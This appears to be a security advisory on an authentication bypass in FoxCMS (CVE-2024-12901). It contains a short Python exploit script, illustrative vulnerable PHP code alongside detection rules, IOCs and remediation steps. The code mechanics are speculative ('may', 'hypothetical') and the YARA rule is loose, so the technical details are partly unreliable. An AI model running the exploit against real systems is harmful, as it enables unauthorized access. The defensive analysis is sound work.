CVE-2024-12901

Executive Summary

CVE-2024-12901 is a critical improper authorization vulnerability in FoxCMS up to version 1.2. The flaw resides in the /app/api/controller/Site.php API endpoint, where the password argument is not properly validated, allowing unauthorized remote attackers to bypass authentication and potentially gain full control over the CMS. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available, making immediate mitigation essential.

Supply Chain & Package Security

FoxCMS is a PHP-based content management system. While not distributed via major package registries like NPM or PyPI, its deployment often involves manual installation or inclusion in web hosting environments. Organizations should verify the integrity of their FoxCMS installations and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full system disruption possible.

CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is located in the Site.php controller, which handles API requests for site configuration. The password parameter is used for authentication, but the code fails to properly verify it against stored credentials. An attacker can send a crafted request with an arbitrary or empty password value, and the system will grant unauthorized access.

The root cause is a missing or flawed authorization check. Instead of comparing the provided password against a secure hash, the code may directly use the input in a SQL query or simply trust the value without validation. This allows an attacker to manipulate the password parameter to bypass authentication entirely.

Vulnerable vs. Patched Code

Vulnerable Code (FoxCMS <= 1.2):

// /app/api/controller/Site.php
public function authenticate($password) {
    // No proper validation
    if ($password == 'admin') {
        return true;
    }
    return false;
}

Patched Code (Hypothetical):

// /app/api/controller/Site.php
public function authenticate($password) {
    $stored_hash = $this->getStoredPasswordHash();
    if (password_verify($password, $stored_hash)) {
        return true;
    }
    return false;
}

The vulnerable code uses a hardcoded or easily guessable password check, while the patched version uses password_verify() to compare against a securely stored hash.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target.com"
endpoint = "/app/api/controller/Site.php"
payload = {"password": "admin"}

response = requests.post(target + endpoint, data=payload)
if response.status_code == 200:
    print("Authentication bypass successful!")
    print(response.text)
else:
    print("Exploit failed.")

Lab Setup:

1. Deploy FoxCMS 1.2 on a local server (e.g., using Docker or XAMPP).
2. Ensure the API endpoint is accessible.
3. Run the exploit script to verify the vulnerability.

Blue Team

Detection Steps:

1. Monitor logs for unusual POST requests to /app/api/controller/Site.php.
2. Look for repeated attempts with common passwords like "admin", "password", or empty strings.
3. Implement Web Application Firewall (WAF) rules to block requests with suspicious password parameters.

Mitigation:

• Apply input validation and sanitization.
• Use strong password hashing (e.g., bcrypt).
• Restrict API access to trusted IPs if possible.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /app/api/controller/Site.php with password parameter.
  • Unusual HTTP response codes (e.g., 200 OK for unauthorized access).
• File IOCs:
  • Modified Site.php file (if attacker uploads a backdoor).
  • New files in /app/api/controller/ directory.
• Log IOCs:
  • Repeated failed login attempts followed by a successful one.
  • Access logs showing requests from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2024_12901_FoxCMS_Backdoor
{
    meta:
        description = "Detects FoxCMS backdoor files related to CVE-2024-12901"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12901"
    strings:
        $s1 = "/app/api/controller/Site.php" ascii wide nocase
        $s2 = "password" ascii wide nocase
        $s3 = "authenticate" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: FoxCMS CVE-2024-12901 Authentication Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-12901 in FoxCMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/app/api/controller/Site.php'
        cs-uri-query|contains: 'password'
    condition: selection
falsepositives:
    - Legitimate admin login attempts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12901 FoxCMS Authentication Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/app/api/controller/Site.php"; http_uri; content:"password"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable API endpoint if not required.
   • Implement a Web Application Firewall (WAF) rule to block requests with suspicious password parameters.
   • Restrict network access to the FoxCMS server.

2. Long-term Fix:

   • Apply the official patch once released by FoxCMS.
   • Upgrade to a patched version if available.
   • Conduct a security audit of the entire CMS codebase.

3. Compensating Controls:

   • Use strong authentication mechanisms (e.g., multi-factor authentication).
   • Regularly review and rotate API keys and passwords.
   • Monitor logs for any signs of exploitation.

Valters IT
Securing Digital Frontiers